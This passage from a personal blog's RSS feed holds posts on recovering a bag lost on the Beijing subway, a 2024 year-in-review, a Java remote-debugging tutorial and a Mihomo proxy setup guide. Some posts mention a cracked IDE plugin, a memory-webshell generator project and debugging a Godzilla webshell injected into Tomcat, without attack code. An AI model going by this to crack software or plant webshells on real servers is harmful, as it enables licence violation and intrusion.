&lt;p&gt;地铁管控室的工作人员告诉我已经通知了后续所有站点这个事情让他们帮我看看能不能找到类似的书包，因为我坐的地铁线路后面只有三站到终点站，顶多也就 10 几分钟就到了，过了十几分钟也没有任何消息，我又和管控室的人员询问进度，他的回答让我非常失望，“他说这可能找不到了，你要不回去再等等吧，你留一下你的电话，如果我们找到会联系你”，我束手无策了，不过好在手机一直揣在兜里没一起送走，我就微信联系了我的派出所朋友，她说赶紧报警，我立马就拨打了 110 联系到了派出所民警，我详细说了经过（当时我说话现在想起来冷静得让我害怕），「我在 22 点 9 分刷卡出的阜通站，车是从北京南站开往善各庄站，我的书包是黑色长方形，里面有我的电脑手机，还有现金等等...，目前地铁站这边说到终点站也没有反映说捡到，我猜测可能已经被人拿走了，请问可以帮我查一下监控吗」，派出所的民警后来反复确认，是丢失还是盗窃，我直说了我是下地铁站忘记拿了，书包就放在座位上。&lt;/p&gt;
&lt;p&gt;好在我在北京合租的房子离地铁口也不远，我也联系到我的室友马上就能到出租房了，我就边走又打了个电话去派出所询问进度，派出所的民警说有疑似拿我包的人，但是需要取地铁上的监控，需要等晚上统一收车才能去车上导出来，有进度会同步给我。等我到家的时候我才想起来我的 Mac 是有定位的，已经显示在一个离我七八公里的公寓里面了（金龙公寓，来广营派出所旁边），我直呼 WOC，真 TM 被拿走了，这狗东西，我也有点后悔怎么不早点打开查找设备定位跟踪一下，这样还有这个拿我书包的人的移动路径。&lt;/p&gt;
&lt;p&gt;因为坐了一天车也是特别累了，澡也不想洗，直接开睡，第二天其实就是要上班了，不过我有年假就请了，后续几天慢慢也请了，一共请了两天假。&lt;/p&gt;
&lt;h2&gt;2 月 5 号&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://xhslink.com/a/MaQmIArk0S66&quot;&gt;小红书帖子链接&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;第二天一起床我就看我的电脑位置有没有变，发现一直没变，猜测拿回家就没动过了，大概中午的时候，因为没去过派出所比较害怕出什么差错，就喊上同事一起打车去派出所，不凑巧的是他们刚开餐，等了一会儿才有个民警出来和我交涉说了一些有的没的（和我昨晚听到的是一样的，什么他们在用内部技术手段呀，让我回去等消息，来了也没用），蛮生气的没有进度。我也不能坐以待毙，我们就去了我电脑位置的派出所，问我的电脑定位出现在了那个公寓里面希望能寻求帮助，这边民警直接说因为我的书包是遗失不是盗窃，这个没什么办法，而且你的书包在地铁上遗失的你直接找地铁那边的派出所吧，后来说公寓里面几百户你那定位又不一定准，难排查，不过这样你可以去公寓那里调监控自己看，如果需要协调你就打电话给派出所我来协调工作。我们就去了公寓，物业大哥很通情达理地就给我调了前天晚上的监控，不过我看了好几遍 22 点到 23 点多公寓门口的监控，并没有看到我的书包，我都怀疑这小子把我书包给扔了，只把贵重物品收起来带回来了。因为苹果查找有那个响铃，就拿着手机在定位附近的两栋楼走了三四遍都没声音，也无法定位具体是哪一栋楼，只定位在了两栋楼的中间。&lt;/p&gt;
&lt;p&gt;没一点办法，晚上的时候又给地铁派出所打了电话，民警说地铁里面的监控还没取回来！！！第一天的搜寻就这么结束了，总得来说地铁这边毫无进展，公寓那边查了监控也没进展，不过能让看监控，并且两栋楼也能扫楼，看了小红书上各种搜寻的帖子，我也在小红书上发了求助帖，决定明天再去公寓仔细搜寻一下。&lt;/p&gt;
&lt;h2&gt;2 月 6 号&lt;/h2&gt;
&lt;p&gt;第三天还是去了公寓那边看监控，给物业的大哥买了一杯星巴克，不过他不喝，到中午的时候刚好一上午没吃饭，喝杯咖啡好像也挺得住。我一个人在那里又详细看了几遍监控，那个时间段进入公寓其实只有二十几个人，五号楼只有 7 个，二号楼多一些。我就再拿着我的手机去找两个楼里，并且我在网上学到一个技能，&lt;strong&gt;就是拿着自己的苹果设备，如果靠近设备就是一直刷新位置&lt;/strong&gt;，我就照着这个方法差不多定位到了 5 号楼，但是进楼里面还是没信号，并不会刷新，只能在两栋楼之间才有，并没有特别有用的进展。其中打了几次派出所电话，民警说只能用一台电脑看地铁上的监控，而且电脑还拿出去办案了，还没看上监控。下午也坐不住还是去了地铁派出所，因为那边一旦有监控就是直接锁定人的，不过去了之后，好几个民警问我你来干什么，谁让你来的，然后一种很恶心的眼神望着我，特别是有个值班的女生，很难让人不想打人，我是来求助的，不是拿着 gun 来抢劫的，我说了我的来意，民警关上了他们的窗户，让我在座位上坐着，他们在里面聊了很久话术！！！，说了个让我再详细写一下我书包里面的东西，我自己心想监控很重要，我就说我能不能看监控，他们沟通了半天一个民警和我说，地铁上的监控他们看了，但是不能给我看，因为什么人防工程，不过说定位到一个人正在尝试联系，最快可能明天有信息，最坏的情况就是联系错人可能之后就要继续看监控搜索了，我也没什么办法，有进度但不多，走了。&lt;/p&gt;
&lt;p&gt;晚上的时候，几个同事提议和我一起去公寓楼那边再碰碰运气，并且打了一些寻物启事，一共四个人，就玩得比较好的几个好同事，酬金我让写了 3000。打车过去打了一个专车，大哥说了很多扫兴的话，说他开滴滴也有车落在车上的，有些人会威胁他说报警啥的，总得来说只有一个有用的信息就是建议如果要敲门就女孩子比较好。所以到了之后我们去敲门是女同事说书包丢了并询问有没有捡到的，敲门之余也在楼道口张贴了寻物启事。考虑到电脑定位的事情还是想多用几个信息源定位，所以每次开门的都询问能不能进去拿手机进去走走，看看定位会不会更新，部分租户允许我进去；部分不允许并说你这我都不知道搞什么鬼，你要弄去派出所喊民警；还有部分我不能进去但是能帮我拿手机进去走一圈。整个楼有五层，部分房间也没灯，也有可能不开门之类的，我们整栋楼中间位置差不多离电脑定位近的都敲门了，并没有问出来结果，不过有几间房确实能刷新电脑位置，差不多能锁定在 2 楼到 3 楼之间中间三户人家，不过并没有特别的手段了，因此晚上我们也只能回家了，多贴了几张寻物启事在公寓的必经之路上。抱着希望明天有人能给我打电话的希望睡去了。我也想不到我还能做什么了，所以明天就没请假准备去上班了，手里没电脑，书包里的电脑也是公司的，所以找同事借了我他新买的 M4 mini 用。&lt;/p&gt;
&lt;h2&gt;2 月 7 号&lt;/h2&gt;
&lt;p&gt;第四天正常来上班了，上班和领导沟通了一下细节，才被提起其实我书包里面的备用机是有卡的，但是过了这么多天我居然都没有想起来！而且我忘记电话号码了，我中午去营业厅要到了我的电话号码，打不通，但是查了流量使用记录似乎看起来是没开机过，我还是照网络上说的，给备用机的号码发了寻物短信以及酬谢，一天的工作时间其实都是在弄开发环境，不过还是有工作进展的，不过我居然有代码没提交，我的天。&lt;/p&gt;
&lt;p&gt;晚上回家久违地看到了地铁派出所民警主动打的电话，因为我常年静音基本接不到电话，所以我看到就赶紧回了，是副所长！！！说定位到人了，掌握了那个人的轨迹也知道拿我书包的人在哪里上班，刚好听说我这儿有电脑定位让我说一下，来缩减排查范围，这样直接去公寓那边对信息就可以了，明天派民警去那边找一下应该很快。当时就特别兴奋，和同事同步了消息，并且录音了下来，心想着明天肯定有戏了。不得不说副所长和一线的民警说话风格就是不太一样，温和很多，而且听起来就是真的有干活，不像我前两次去派出所，一次比一次绝望。&lt;/p&gt;
&lt;h2&gt;2 月 8 号&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://xhslink.com/a/JwKqtUaOCS66&quot;&gt;小红书帖子链接&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2025 年 2 月 8 号，历时五天，终于拿回了我的书包，我仅有的全部资产电脑终于回到了我的手里。早上十点多的时候就接到民警的电话说加微信视频看一下我的书包，核实一下是不是东西都在，我在公司里面找了个会议室，当时打开微信看到我的书包完好无损地出现在微信视频的另一头，巨开心，找到了！！！（狗东西，把我奶奶给我带的煮鸡蛋给扔了）因为前几次的民警似乎不太想公开细节，所以我也不在意对面是哪个人，他到底住在第几栋，哪一户了。民警让我下午去派出所拿。因为锦旗需要隔天才能做好，买其他东西可能大概率不会拿，不过为了表示感激空着手似乎不太好，就买了一些水果去，拿回了我的书包，后面锦旗做好又去专门送了一趟。&lt;/p&gt;
&lt;h2&gt;经验分享&lt;/h2&gt;
&lt;p&gt;这一次难忘的经验教训就是贵重物品在每次乘坐公共交通下车时都需要检查一下，比如坐公交车、打车、坐地铁、坐高铁时下车时都需要回头看看有没有东西落在座位上。
坐地铁书包放在行李箱上或者面前，不要像我一样直接放在背后，到站了脑袋一懵，提着面前的行李就走了。&lt;/p&gt;
</content:encoded></item><item><title>2024 年度总结</title><link>https://reajason.eu.org/writing/2024annualsummary/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2024annualsummary/</guid><pubDate>Wed, 01 Jan 2025 22:20:53 GMT</pubDate><content:encoded>&lt;h3&gt;上半年&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;创建了 GitHub Organization &lt;a href=&quot;https://github.com/JAgentSphere&quot;&gt;JAgentSphere&lt;/a&gt;，写了 Agent 相关的项目，最后维护的只剩下（被认为有用且我也一直在用的）&lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-demo/tree/rainbow-brackets-cracked&quot;&gt;IDEA 彩虹括号破解&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;项目重构，历时两个月，cv 了差不多 1w 行代码，学习了《Unit Testing Principles, Practices, and Patterns》，也开始用 ChatGPT 写单测 &lt;code&gt;Please use Junit5 and Mockito to write unit test for follow code&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;下半年&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;参加了一年一度的 HW，真是难忘的熬夜经历，no code just chat。&lt;/li&gt;
&lt;li&gt;视力的突然下降，无精打采了一个多月。&lt;/li&gt;
&lt;li&gt;读完了《Rust 程序设计（第2版）》，实现节点测速自由，&lt;a href=&quot;https://github.com/ReaJason/Clash-Butler&quot;&gt;Clash-Butler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;享受每天写代码干到两点，用一个月时间把 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt; 从 README 变成一个可用的 demo，之后应该不会这么肝了，期待下一次精力爆发。&lt;/li&gt;
&lt;li&gt;重学 React，让 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt; 也拥有的 web 界面。&lt;/li&gt;
&lt;li&gt;做了一些破解相关的工作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;看过的&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;《All Creatures Great and Small》，年度最佳推荐，治愈片，超多小动物，还很好哭。&lt;/li&gt;
&lt;li&gt;《鱿鱼游戏1》《鱿鱼游戏2》，另类科幻片，人性探讨。&lt;/li&gt;
&lt;li&gt;《再造淑女》，有一点年代感的剧，喜欢这种不完美的感觉，有时候感觉就是在照镜子。&lt;/li&gt;
&lt;li&gt;《福尔摩斯基本演绎法》，磨耳 BGM。&lt;/li&gt;
&lt;li&gt;《好久没做》，出轨大片。&lt;/li&gt;
&lt;li&gt;《永夜星河》，似乎每年一部国产古偶剧，OMG。&lt;/li&gt;
&lt;li&gt;《机器人之梦》，be，讨厌 be。&lt;/li&gt;
&lt;li&gt;《神之塔 第二季》、《香格里拉·开拓异境～粪作猎手挑战神作～ 第二季》、《藍色監獄 VS. U-20 JAPAN》，一些之前追的续作，还蛮热血的。&lt;/li&gt;
&lt;li&gt;《殺手寓言》，搞笑杀手新番，还不错。&lt;/li&gt;
&lt;li&gt;《敗犬女主太多了！》，B 站 UP 主推荐番看的，这类体裁在番剧上还蛮少见的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;去过的&lt;/h3&gt;
&lt;p&gt;武汉、长沙、呼和浩特、上海、杭州、福州、厦门&lt;/p&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;今年输出远大于输入（代码方面），渐渐有点量变产生质变的 feeling。很庆幸工作了三年，最喜欢做的事情仍然是写代码这件事，always build for fun 🎉。&lt;/p&gt;
&lt;p&gt;世界的本质是销售，每天写写代码解决了自己精神世界，还是需要花时间解决一下生计问题。Maybe 明年考虑成为一个 YouTuber，录录视频，顺便再写写付费文章......&lt;/p&gt;
</content:encoded></item><item><title>Java 远程调试</title><link>https://reajason.eu.org/writing/javaremotedebug/</link><guid isPermaLink="true">https://reajason.eu.org/writing/javaremotedebug/</guid><pubDate>Sun, 15 Dec 2024 19:52:55 GMT</pubDate><content:encoded>&lt;h2&gt;为什么需要调试？&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;当程序代码变更导致不符合预期的行为，并且通过代码 Diff 并不能找到错误，此时我们需要调试来看一下执行上下文，到底是哪儿发生了什么奇怪的事情。&lt;/li&gt;
&lt;li&gt;破解程序的时候，一般都是静态分析 + 动态调试配合做数据流转分析。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;日志调试&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 看看有没有执行到这儿来
System.out.println(&quot;is coming&quot;);

// 看看有没有报错误信息
e.printStackTrace();

// 看看当前值是多少
log.info(&quot;the value is: {}&quot;, value);

// 使用日志系统，打印错误信息和错误堆栈
log.error(&quot;failed with error, fuck the world&quot;, e);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当程序出现非预期且没有任何信息蹦出来的时候，我们可以尝试在部分关键位置加上日志打印或堆栈打印来确定问题所在，有时候错误堆栈就足以帮助我们解决问题，并不需要使用专门的调试工具。&lt;/p&gt;
&lt;h2&gt;Java Remote Debug&lt;/h2&gt;
&lt;p&gt;以前做 Java 开发的时候根本用不到远程调试，基本都是 IDEA 直接点调试运行就行，后来做 Java Agent 开发，因为 Agent 都是应用在其他 JVM 程序上，导致根本没有调试运行的机会，只能通过 Java Remote Debug 来调试目标 JVM 程序，这样子目标 JVM 运行时加载到 Agent 代码就能在 IDEA 里面愉快调试了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Debugger Mode：分为 Attach 和 Listener 两种模式（你可能只需要 Attach Mode）。&lt;/li&gt;
&lt;li&gt;Host 和 Port 为目标 JVM 所在的 IP 地址 + 调试端口。&lt;/li&gt;
&lt;li&gt;Command line：这是需要给目标调试 JVM 添加 JVM 参数的，右边可以选 JDK 版本，有时候并不固定，JDK8 的那条所有都能用，有时候 JDK8 还得用 JDK低版本的那个，说不准。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果是 Java Application 直接加在启动命令中即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 springboot.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果是镜像（不要忘记暴露调试端口 5005），可能需要知道目标服务吃哪一个 JVM 参数。可能的选项：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;JAVA_OPTS（常见）&lt;/li&gt;
&lt;li&gt;JVM_ARGS&lt;/li&gt;
&lt;li&gt;JAVA_TOOL_OPTIONS（这个所有的 Java 程序都会应用，如果一个环境下多个 Java 跑，使用调试参数会报端口冲突）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你需要在应用启动的过程中就需要调试，你可以修改一下参数（我记得我刚开始的时候这边应用启动完，狂在 IDEA 里面点开始调试）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

改为

-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是一样的添加参数的方式，这样当你启动应用的时候，应用就会停住了，他在等你开启 Debug（IDEA 调试参数配置中 Mode 不变，仍然是 Attach Mode）。&lt;/p&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;1. 连不上？&lt;/h3&gt;
&lt;p&gt;查看 JVM 调试参数是否添加成功，添加成功，启动的时候一般都会多一条日志，叫作 Listener 5005 啥的。&lt;/p&gt;
&lt;p&gt;查看调试端口是否占用，有时候一个调试端口可能会重复使用，当然一般会报端口冲突，无论哪种情况都可以尝试更换一下端口再试。&lt;/p&gt;
&lt;p&gt;如果是镜像中使用调试参数，需要你暴露调试端口出来。&lt;/p&gt;
&lt;h3&gt;2. 行号对不上？&lt;/h3&gt;
&lt;p&gt;首先需要确认目标 JVM 运行的代码版本和你 IDEA 打开的版本是否一致，最开始经常出现调着调着发现分支搞错了。&lt;/p&gt;
&lt;p&gt;IDEA 有时会“自作聪明”地选根本不是这个版本的代码让你调试，然后报 warn 说代码行对不上。在 IDEA 设置中，Build - Debugger - Show alternative source switcher，勾选之后调试的时候，如果一个环境中有多个不同版本的包可以指定目标环境的版本（不过测试过程中体验并不是很好，还是有一点点用）。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;实战&lt;/h2&gt;
&lt;p&gt;添加 Java Tomcat Servlet 内存马时，在 Tomcat 5 和 Tomcat 6 下不行，打日志没辙，只能开启调试。PR 地址 -&amp;gt; https://github.com/ReaJason/MemShellParty/pull/3&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/DNXVje4iprA?si=5xJT_Qwf93Z3283H&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;在代码编写过程中，添加了大量的调试日志，方便排查问题，因为添加日志的成本远远低于使用调试工具的成本。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;时间戳 &lt;strong&gt;30:31&lt;/strong&gt; 打印错误堆栈，找到了是哥斯拉内存马代码缺失导致实例化报错。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;时间戳 &lt;strong&gt;1:03:52&lt;/strong&gt; 通过 find 查找目标应用类所在 Jar 包，并添加 JVM 调试参数调试准备指定类。&lt;strong&gt;1:07:31&lt;/strong&gt; 才开启这一次的正式调试。（当把 Jar 包弄出来还不够，如果调试需要 Add to Library 才行）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;时间戳 &lt;strong&gt;1:08:21&lt;/strong&gt; 通过搜索发现需要判断 tomcat 启动时做了什么事情，因此修改了调试参数为 suspend=y，这样当我启动镜像的时候，只要我没有在 IDEA 里面连接，Tomcat 就不会启动而是等待。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;时间戳 &lt;strong&gt;3:24:00&lt;/strong&gt; 在调试窗口执行表达式时爆红也是没关系的，能直接执行，调试了大约两个多小时，此时我已经知道为什么不生效了，因为加错地方了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;工欲善其事必先利其器，当你在某个上下文中，能足够快地获取更多的信息方便你定位问题或尝试给出答案，你就变大佬了。&lt;/p&gt;
&lt;p&gt;不要使用 Listener Mode，直接将 suspend=n 改为 suspend=y 就是你想要的效果。&lt;/p&gt;
&lt;p&gt;使用调试工具的成本远远高于日志打印，优先选择日志打印。&lt;/p&gt;
&lt;p&gt;之前看过一段时间 jjy 的操作系统课，当出现问题的时候要相信程序永远是对的（我的理解是你只要花时间总能找到出问题的地方）。&lt;/p&gt;
&lt;p&gt;没有调试解决不了的问题，请注意时间成本，如果一段时间都没有结果一定要考虑尝试休息一下，去散散步，接杯水，可能回来你的思路又不一样了。&lt;/p&gt;
</content:encoded></item><item><title>Mihomo TUN Mode in Ubuntu20.04</title><link>https://reajason.eu.org/writing/ubuntu2004mihomotunmode/</link><guid isPermaLink="true">https://reajason.eu.org/writing/ubuntu2004mihomotunmode/</guid><pubDate>Fri, 25 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Docker Pull Timeout&lt;/h2&gt;
&lt;p&gt;Unfortunately, docker hub has been banned in mainland China due to some &lt;a href=&quot;https://www.v2ex.com/t/941538#reply11&quot;&gt;reasons&lt;/a&gt;. So many docker register proxy website were stopped, and the docker pull command output is here, when you use docker pull.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo docker run hello-world
Unable to find image &apos;hello-world:latest&apos; locally
docker: Error response from daemon: Get &quot;https://registry-1.docker.io/v2/&quot;: net/http: request canceled while waiting
 for connection (Client.Timeout exceeded while awaiting headers).
See &apos;docker run --help&apos;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I try to use the LAN proxy, it doesn&apos;t work, so i think the best way is to deploy mihomo in &lt;strong&gt;TUN&lt;/strong&gt; mode on my development machine, maybe use &lt;a href=&quot;https://duckduckgo.com/?q=docker+%E9%95%9C%E5%83%8F%E4%BB%A3%E7%90%86&amp;amp;t=brave&amp;amp;ia=web&quot;&gt;Docker Images Proxy&lt;/a&gt;, but i don&apos;t want to use it.&lt;/p&gt;
&lt;h2&gt;Simple Usage&lt;/h2&gt;
&lt;p&gt;Download the latest Mihomo release package using &lt;a href=&quot;https://github.akams.cn/&quot;&gt;Github Proxy&lt;/a&gt; and move it to &lt;code&gt;/usr/local/bin/mihomo&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -O -L https://gh.llkk.cc/https://github.com/MetaCubeX/mihomo/releases/download/v1.18.9/mihomo-linux-arm64-v1.18.9.gz
gunzip mihomo-linux-arm64-v1.18.9.gz
sudo mv mihomo-linux-arm64-v1.18.9 /usr/local/bin/mihomo
sudo chmod +x /usr/local/bin/mihomo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Download your Mihomo configuration to &lt;code&gt;/etc/mihomo/config.yaml&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir -p /etc/mihomo
sudo curl -o /etc/mihomo/config.yaml https://sub.reajason.eu.org/clash.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a systemd configuration file &lt;code&gt;/etc/systemd/system/mihomo.service&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/systemd/system/mihomo.service
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=mihomo Daemon, Another Clash Kernel.
After=network.target NetworkManager.service systemd-networkd.service iwd.service

[Service]
Type=simple
LimitNPROC=500
LimitNOFILE=1000000
CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
AmbientCapabilities=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
Restart=always
ExecStartPre=/usr/bin/sleep 1s
ExecStart=/usr/local/bin/mihomo -d /etc/mihomo
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start the mihomo service using systemctl.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl daemon-reload # Reload systemd
sudo systemctl enable mihomo # Start when start up
sudo systemctl start mihomo # Start Mihomo

# Other systemctl command
# If you change the config.yaml, use this command to reload config
sudo systemctl reload mihomo
# Show the status of Mihomo
sudo systemctl status mihomo
# Show the running logs of Mihomo
sudo journalctl -u mihomo -o cat -f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Edit &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; to allow ipv4 and ipv6 forward, and open the following switch.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/sysctl.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1

# Uncomment the next line to enable packet forwarding for IPv6
#  Enabling this option disables Stateless Address Autoconfiguration
#  based on Router Advertisements for this host
net.ipv6.conf.all.forwarding=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the edit was successful, use the &lt;code&gt;reboot&lt;/code&gt; command to reboot your system.&lt;/p&gt;
&lt;p&gt;Then use curl to check the mihomo proxy. (if you run &lt;code&gt;systemctl enable mihomo&lt;/code&gt;, the computer will start mihomo on startup)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -v https://www.google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo docker pull hello-world
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Tips&lt;/h2&gt;
&lt;h3&gt;TUN&lt;/h3&gt;
&lt;p&gt;System proxy does not work for &lt;code&gt;docker pull&lt;/code&gt;, but tun mode does, here is my tun mode config. Check the &lt;a href=&quot;https://sub.reajason.eu.org/clash.yaml&quot;&gt;sub link&lt;/a&gt; for my entir mihomo configuration.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tun:
  enable: true
  stack: system
  strict_route: true
  auto-route: true
  auto-redirect: true
  auto-detect-interface: true
  dns-hijack:
    - any:53
    - tcp://any:53
dns:
  enable: true
  prefer-h3: true
  ipv6: true
  listen: 0.0.0.0:53
  fake-ip-range: 198.18.0.1/16
  enhanced-mode: fake-ip
  fake-ip-filter: [ &apos;rule-set:fakeip-filter,private,cn&apos; ]
  nameserver:
    - https://doh.pub/dns-query
    - https://dns.alidns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;External Control&lt;/h3&gt;
&lt;p&gt;Maybe you can consider using metacube to control your mihomo runtime config. Open the external control by adding follow config to your mihomo config.&lt;/p&gt;
&lt;p&gt;The entrypoint is &lt;code&gt;http://127.0.0.1:9090/ui&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;external-controller: 127.0.0.1:9090
external-ui: ui
external-ui-url: https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to use public ip, use follow config, make sure to use &lt;strong&gt;secret&lt;/strong&gt; to protect your mihomo.&lt;/p&gt;
&lt;p&gt;The entrypoint is &lt;code&gt;http://publicip:9090/ui&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;external-controller: 0.0.0.0:9090
secret: &quot;generateLZQ*HRSP$kC4Nlpu&quot;
external-ui: ui
external-ui-url: https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See the &lt;a href=&quot;https://wiki.metacubex.one/config/general/#api&quot;&gt;official tutorial docs&lt;/a&gt; for other config of external control configurations.&lt;/p&gt;
&lt;h3&gt;Diagnostic&lt;/h3&gt;
&lt;p&gt;It&apos;s possible that your mihomo service is not running as expected or maybe your proxy is not working, set the log level to debug and check the running logs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log-level: debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reload and check the runing log.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl reload mihomo
sudo jornalctl -u mihomo -o cat -f
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker Container with TUN mode&lt;/h3&gt;
&lt;p&gt;When Mihomo&apos;s TUN mode is active, Docker containers with mapped ports become accessible only via localhost — external IP access stops working. The root cause is that TUN mode intercepts all network traffic, including traffic originating from Docker containers. Since Mihomo doesn&apos;t know how to forward that traffic correctly, requests just get dropped.
The fix is to add routing rules that steer Docker subnet traffic through the main network interface instead of Mihomo&apos;s TUN interface. Run the script below after Mihomo TUN mode has started:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# Prevent traffic already DNAT&apos;d by Docker from being captured by the TUN routing table
# Route Docker subnets through the main table instead
ip rule add to 172.16.0.0/12 table main priority 98 2&amp;gt;/dev/null || true
ip rule add to 10.0.0.0/8 table main priority 97 2&amp;gt;/dev/null || true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Thanks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.metacubex.one/startup/service/&quot;&gt;创建运行服务 - 虚空终端 Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nanodesu.net/archives/47/&quot;&gt;Linux 搭建 mihomo(2024.8.11)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/axcsz/Collect/wiki/Linux-%E7%B3%BB%E7%BB%9F-mihomo-%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B&quot;&gt;Linux 系统 mihomo 安装教程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://proxy-tutorials.dustinwin.top/posts/dnsbypass-mihomo-ruleset/&quot;&gt;搭载 mihomo 内核进行 DNS 分流教程-ruleset 方案&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ReaJason/Clash-Butler&quot;&gt;Clash-Butler - 节点测速合并&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>不一样的国庆假期</title><link>https://reajason.eu.org/writing/20241001weekly/</link><guid isPermaLink="true">https://reajason.eu.org/writing/20241001weekly/</guid><pubDate>Mon, 07 Oct 2024 14:31:27 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;假期长度：09-21 ~ 10-07 为期 17 天的小长假&lt;/p&gt;
